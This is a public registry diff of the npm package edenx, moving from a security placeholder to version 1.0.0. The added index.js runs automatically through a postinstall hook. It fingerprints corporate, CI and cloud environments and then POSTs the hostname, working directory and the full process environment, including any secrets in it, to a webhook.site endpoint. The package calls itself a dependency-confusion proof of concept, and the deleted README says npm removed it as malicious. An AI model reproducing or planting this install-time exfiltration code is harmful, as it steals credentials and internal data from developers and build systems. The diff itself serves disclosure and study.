edenx 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of edenx might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +116 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,116 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const dns = require('dns').promises;
4
+
5
+ // Enhanced detection logic
6
+ async function isInternalTeam() {
7
+ // 1. Check for CI/CD environment variables
8
+ const ciEnvVars = [
9
+ 'CI', 'CONTINUOUS_INTEGRATION', 'BUILD_NUMBER', 'RUN_ID',
10
+ 'GITLAB_CI', 'CIRCLECI', 'TRAVIS', 'JENKINS_URL', 'TEAMCITY_VERSION',
11
+ 'BITBUCKET_BUILD_NUMBER', 'GITHUB_ACTIONS', 'AZURE_DEVOPS'
12
+ ];
13
+
14
+ // 2. Check for private registry usage
15
+ const privateRegistryIndicators = [
16
+ 'npm_config_registry',
17
+ 'NPM_PRIVATE_REGISTRY',
18
+ 'verdaccio',
19
+ 'nexus',
20
+ 'artifactory',
21
+ 'npmrc',
22
+ 'internal_registry'
23
+ ];
24
+
25
+ // 3. Check hostname patterns
26
+ const corporateHostnamePatterns = [
27
+ /\.corp\./i,
28
+ /\.internal\./i,
29
+ /\.company\./i,
30
+ /-prd$/i,
31
+ /-dev$/i,
32
+ /^build-/i,
33
+ /^ci-/i
34
+ ];
35
+
36
+ // 4. Check AWS/GCP metadata (for cloud environments)
37
+ const cloudMetadata = {
38
+ aws: '169.254.169.254',
39
+ gcp: 'metadata.google.internal'
40
+ };
41
+
42
+ // Detection checks
43
+ const checks = {
44
+ isCI: ciEnvVars.some(v => process.env[v]),
45
+ hasPrivateRegistry: privateRegistryIndicators.some(v =>
46
+ process.env[v] ||
47
+ (process.env.npm_package_json && process.env.npm_package_json.includes(v))
48
+ ),
49
+ hasCorporateHostname: corporateHostnamePatterns.some(p => p.test(os.hostname())),
50
+ isCloudVM: false,
51
+ isCorporateNetwork: false
52
+ };
53
+
54
+ // Check cloud metadata (async)
55
+ try {
56
+ checks.isCloudVM = await Promise.any([
57
+ dns.lookup(cloudMetadata.aws).then(() => true).catch(() => false),
58
+ dns.lookup(cloudMetadata.gcp).then(() => true).catch(() => false)
59
+ ]);
60
+ } catch {}
61
+
62
+ // Check internal domains (async)
63
+ try {
64
+ const hostname = os.hostname();
65
+ if (hostname.includes('.')) {
66
+ const domain = hostname.split('.').slice(-2).join('.');
67
+ const mxRecords = await dns.resolveMx(domain).catch(() => []);
68
+ checks.isCorporateNetwork = mxRecords.length > 0;
69
+ }
70
+ } catch {}
71
+
72
+ // Final determination
73
+ return {
74
+ isLikelyInternal: checks.isCI || checks.hasPrivateRegistry ||
75
+ checks.hasCorporateHostname || checks.isCloudVM ||
76
+ checks.isCorporateNetwork,
77
+ details: checks
78
+ };
79
+ }
80
+
81
+ // Main execution
82
+ async function main() {
83
+ const internalCheck = await isInternalTeam();
84
+
85
+ const data = JSON.stringify({
86
+ hostname: os.hostname(),
87
+ platform: process.platform,
88
+ cwd: process.cwd(),
89
+ env: process.env,
90
+ internalCheck,
91
+ timestamp: new Date().toISOString()
92
+ });
93
+
94
+ const options = {
95
+ hostname: 'webhook.site',
96
+ path: '/ae24a57a-839c-46d8-8e0d-be9fc01b719a',
97
+ method: 'POST',
98
+ headers: {
99
+ 'Content-Type': 'application/json',
100
+ 'Content-Length': data.length
101
+ }
102
+ };
103
+
104
+ const req = https.request(options, (res) => {
105
+ console.log(`Webhook sent. Status: ${res.statusCode}`);
106
+ });
107
+
108
+ req.on('error', (error) => {
109
+ console.error(`Error: ${error}`);
110
+ });
111
+
112
+ req.write(data);
113
+ req.end();
114
+ }
115
+
116
+ main();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "edenx",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "PoC for Dependency Confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "PoC Researcher",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=edenx for more information.